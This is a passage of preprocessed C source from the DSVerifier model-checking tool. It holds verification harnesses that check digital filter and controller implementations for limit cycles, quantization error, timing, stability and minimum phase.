# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 234 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_transposed_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 141 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
y[i] = generic_timing_double_transposed_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 75 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
y[i] = double_transposed_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 58 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
y[i] = double_transposed_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 56 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 150 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
y_qtz[i] = double_transposed_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
y_double[i] = double_transposed_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
